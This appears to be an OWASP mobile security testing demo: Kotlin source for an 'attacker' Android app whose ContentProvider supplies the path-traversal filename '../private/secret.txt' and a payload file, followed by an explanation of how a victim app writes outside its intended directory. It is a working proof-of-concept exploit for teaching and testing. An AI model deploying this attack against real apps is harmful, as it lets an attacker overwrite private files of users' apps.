The following attacker app responds to the custom implicit intent org.owasp.mastestapp.REQUEST_FILE used in the Path Traversal via Malicious ContentProvider Filename demo. When Android resolves it as a handler, its AttackerActivity returns a content:// URI pointing to its own AttackerContentProvider, which supplies a path-traversal string (../private/secret.txt) as the DISPLAY_NAME.
packageorg.owasp.mastestappimportandroid.app.Activityimportandroid.content.ContentProviderimportandroid.content.ContentValuesimportandroid.content.Contextimportandroid.content.Intentimportandroid.database.Cursorimportandroid.database.MatrixCursorimportandroid.net.Uriimportandroid.os.Bundleimportandroid.os.ParcelFileDescriptorimportandroid.util.Logimportandroid.view.Gravityimportandroid.widget.TextViewimportjava.io.Fileimportjava.io.FileNotFoundException// SUMMARY: This sample demonstrates an attacker app that returns a path-traversal filename via a ContentProvider.classMastgTest(privatevalcontext:Context){companionobject{constvalTAG="RESULT_ATTACK"}funmastgTest():String{return"Install this app with MASTG-DEMO-0139 and select it when Android resolves REQUEST_FILE."}}classAttackerActivity:Activity(){overridefunonCreate(savedInstanceState:Bundle?){super.onCreate(savedInstanceState)valaction=intent.actionif(action==Intent.ACTION_MAIN){valtextView=TextView(this).apply{text="Hello in the attacker Demo app"textSize=20fgravity=Gravity.CENTERsetTextColor(android.graphics.Color.BLACK)}setContentView(textView)}else{valresultIntent=Intent()resultIntent.data=Uri.parse("content://org.owasp.mastestapp.attacker.provider/fakeFile")resultIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION)Log.e(MastgTest.TAG,"Returning URI=${resultIntent.data}")setResult(Activity.RESULT_OK,resultIntent)finish()}}}classAttackerContentProvider:ContentProvider(){overridefunonCreate():Boolean=trueoverridefunquery(uri:Uri,projection:Array<String>?,selection:String?,selectionArgs:Array<String>?,sortOrder:String?):Cursor{Log.e(MastgTest.TAG,"Providing DISPLAY_NAME=../private/secret.txt")valmatrixCursor=MatrixCursor(arrayOf("_display_name"))matrixCursor.addRow(arrayOf<Any>("../private/secret.txt"))returnmatrixCursor}@Throws(FileNotFoundException::class)overridefunopenFile(uri:Uri,mode:String):ParcelFileDescriptor{valcacheFile=File(context!!.cacheDir,"payload.txt")cacheFile.writeText("PWNED BY ATTACKER")Log.e(MastgTest.TAG,"Serving payload for uri=$uri")returnParcelFileDescriptor.open(cacheFile,ParcelFileDescriptor.MODE_READ_ONLY)}overridefungetType(uri:Uri):String?=nulloverridefuninsert(uri:Uri,values:ContentValues?):Uri? =nulloverridefundelete(uri:Uri,selection:String?,selectionArgs:Array<String>?):Int=0overridefunupdate(uri:Uri,values:ContentValues?,selection:String?,selectionArgs:Array<String>?):Int=0}
Note that this app is not inherently malicious in isolation. The vulnerability lies in the victim app trusting and using the filename returned by an external ContentProvider without sanitization.
The output confirms that the attacker app returned a content:// URI and supplied ../private/secret.txt as OpenableColumns.DISPLAY_NAME.
When the victim app receives this result, it queries the returned provider, trusts the provider-controlled filename, and uses it to build a destination File under its filesDir/public/ directory. Because the filename contains ../, the resulting path escapes the intended public/ directory and points to files/private/secret.txt.
The attacker app therefore controls both the file content served through the returned URI and the filename metadata that drives the victim app's write location.